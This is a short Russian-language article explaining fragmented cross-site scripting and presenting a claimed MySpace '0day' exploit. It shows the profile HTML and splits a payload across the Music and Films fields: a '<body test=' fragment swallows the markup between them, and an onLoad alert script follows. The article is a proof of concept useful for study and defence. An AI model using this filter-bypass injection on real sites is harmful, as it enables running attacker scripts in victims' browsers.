[ Фрагментированное XSS нападение: MySpace 0day эксплоит ]

	>> 1. Введение <<

			На простом уровне объяснение фрагментированной атаки довольно просто - несколько фрагментов,
		самих по себе безопасных и способных пройти фильтры или файрволы, при достижении цели собираются
		в единое целое, которое уже несет в себе угрозу. Фрагментированные атаки обычно применяются на
	        сетевом/сессионном уровне - для обхода систем обнаружения вторжения и файрволов, однако могут
	        применяться и для более простых нападений, например межсайтового скриптинга, в документах которые
	        собираются из частей и предоставляются пользователю.

	>> 2. XSS фрагментация <<

			Такой тип атак довольно редок из-за того, что требуется несколько полей ввода, отображающихся 
		на одной странице, при этом для всех должен применяться один и тот же фильтр, который бы пропускал 
		безопасные части скрипта. Другое требование - достаточная глупость или кривость фильтра, он не 
		должен вырезать символы < и > и в то же время допускать строки там, где их быть не должно. 
		Например <body onload="alert('XSS');"> может обрезаться, а body onload="alert('XSS');" уже 
		быть доступным для использования.

		Глобальная идея фрагментации остается прежней - расположить сами по себе не опасные части скрипта 
		в опасных местах. Простейшее такое место - внутри другого тега.

	>> 3. MySpace 0day эксплоит <<

			Свой пример фрагментированной XSS атаки я разработал для сайта MySpace. 

			Для начала немного теории. В профиле имеется несколько полей для описания собственной 
		персоны - интересы, любимые фильмы и т.п. Возьмем секцию интересов, Музыку и Фильмы. 
		В реале получаемый код выглядит так:

<tr id=MusicRow>
<td valign="top" align="left" width="100" bgcolor="#b1d0f0">
<span class="lightbluetext8">Music</span>
</td>
<td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Music Goes Here!</td>
</tr>
<script language="JavaScript">highlightInterests("ProfileMusic");</script>
<tr id=FilmsRow>
<td valign="top" align="left" width="100" bgcolor="#b1d0f0">
<span class="lightbluetext8">Films</span>
</td>
<td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Films Go Here!</td>
</tr>

Очевидно, что разделяет два пользовательских поля лишь этот код:

</span>
</td>
<td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Music Goes Here!</td>
</tr>
<script language="JavaScript">highlightInterests("ProfileMusic"); </script>
<tr id=FilmsRow>
<td valign="top" align="left" width="100" bgcolor="#b1d0f0">
<span class="lightbluetext8">Films</span>
</td>
<td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">

Интересная его особенность заключается в том, что в нем нет ни одной одинарной кавычки, лишь стандартные двойные.

Конечно же мы можем сделать что-нибудь для инкапсулирования этого текста:

<tr id=MusicRow>
<td valign="top" align="left" width="100" bgcolor="#b1d0f0">
<span class="lightbluetext8">Music</span>
</td>
<td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">
<body test='
</td>
</tr>
<script language="JavaScript">highlightInterests("ProfileMusic"); </script>
<tr id=FilmsRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0">
<span class="lightbluetext8">Films</span>
</td>
<td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">
'>Films Go Here!
</td></tr>

Как вы видите, мы просто заключили этот текст в параметр text тега body! Теперь мы можем написать 
требуемый скрипт во втором поле  - на требуемой нам опасной позиции! 

Следовательно, если мы сделаем параметр Films таким:

' onLoad="alert('XSS');"></body>

то мы и получим реальную возможность выполнить произвольный сценарий в контексте уязвимого сайта.

		Именно такая атака использовалась для взлома MySpace. Я полагаю, что ее аналоги могут работать на 
	множестве других сайтов, где пользовательский ввод делиться и разрешаются теговые скобки.

<< end;